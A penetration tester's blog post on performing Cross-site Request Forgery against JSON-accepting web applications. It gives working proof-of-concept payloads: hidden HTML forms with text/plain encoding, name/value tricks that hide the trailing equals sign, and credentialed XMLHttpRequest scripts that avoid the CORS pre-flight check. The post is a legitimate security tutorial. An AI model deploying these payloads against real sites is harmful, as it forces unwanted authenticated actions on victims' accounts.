Main Content

Heya - HollyGraceful here, I make all of this content in my spare time, like it? Please support me :)
You can donate via Bitcoin or Patreon!

Notes: On CSRF vs JSON

Today I found a possible Cross-site Request Forgery vulnerability in a web application, however – the application expected JSON as its input. The fact that the input is JSON means that the attack is a little bit more complicated, the browsers built in protections get in the way a little more. So here’s some notes and tricks which might help a little!

First of all, if you were to generate a standard payload that you might for any CSRF POST proof of concept, such as this one:

<html><body>
 <form action="http://gracefulsecurity.com/" method="POST" enctype="text/plain">
 <input type="hidden" name="&#123;&quot;test&quot;&#58;&quot;X&quot;&#125;" value="" />
 <input type="submit" value="Fire Payload!" />
 </form>
</body></html>

This payload would work for a standard POST, however the “JSON” that I’ve placed in the input field doesn’t come through cleanly, it is transmitted by the browser like this:

{"test":"X"}=

The problem here is the trailing equals sign, if the reason this is placed isn’t immediately obvious, it’s simply the standard delimiter placed in POST requests between parameters. Which would usually look like this:

test=X&more=bar

Now an interesting way of getting around this is that some JSON parsers accept C style comments, so you could expand your payload to end in a double slash, effectively commenting out the equals sign and creating this:

{"test":"X"}//=

However to cite Douglas Crockford (source):

“JSON does not have comments. A JSON encoder MUST NOT output comments.
A JSON decoder MAY accept and ignore comments.”

So your mileage may vary, this might work it might not. An alternative course of action would be to split the payload between the HTML name and value field to try and capture the equals in a way that it’ll be ignored! So either one of these methods could help:

<input type="hidden" name="&#123;&quot;test&quot;&#58;&quot;X" value="&quot;&#125;" />
<input type="hidden" name="&#123;&quot;test&quot;&#58;&quot;X&quot;&#44;&quot;ignore&quot;&#58;&quot;" value="&quot;&#125;" />

These payloads will generate requests like this:

{"test":"X="}
{"test":"X","ignore":"="}

These may help, if the application allows you to smuggle in extra characters into the request or if it ignores erroneous name/value pairs.

You may be thinking that you could simply use XMLHttpRequest to send JSON to the server, but take a look at the following proof-of-concepts:

<html><script>
function jsonreq() {
var xmlhttp = new XMLHttpRequest();
xmlhttp.withCredentials = true;
xmlhttp.open("POST","http://gracefulsecurity.com", true);
xmlhttp.setRequestHeader("Content-Type","application/json");
xmlhttp.send(JSON.stringify({"test":"X"}));
}
jsonreq();
</script></html>

With this PoC you’ll find that modern browsers send an OPTIONS request before sending the POST as a pre-flight check to see if the server is happy to accept the request, which unless CORS has been enabled or SOP crippled then this will fail (“fail” meaning in this context that a 200 OK will not be sent by the remote server) and therefore the browser will not send the POST. This pre-flight occurs if the Content-Type is set to something other than form or plain, such as JSON, or if custom headers are defined.

Instead you could try:

<html><script>
function jsonreq() {
var xmlhttp = new XMLHttpRequest();
xmlhttp.withCredentials = true;
xmlhttp.open("POST","http://gracefulsecurity.com", true);
xmlhttp.setRequestHeader("Content-Type","text/plain");
xmlhttp.send(JSON.stringify({"test":"X"}));
}
jsonreq();
</script></html>

Which will prevent the browser sending the pre-flight check and therefore the POST will be sent, but the content-type header will be technically incorrect, however if the remote application doesn’t validate this header then the CSRF attack be successful!

So the lesson here really is that when it comes to CSRF with a JSON payload your browser is going to mess with your proof-of-concept, but hope isn’t lost, fuzz the application a little harder and you might just get a working payload!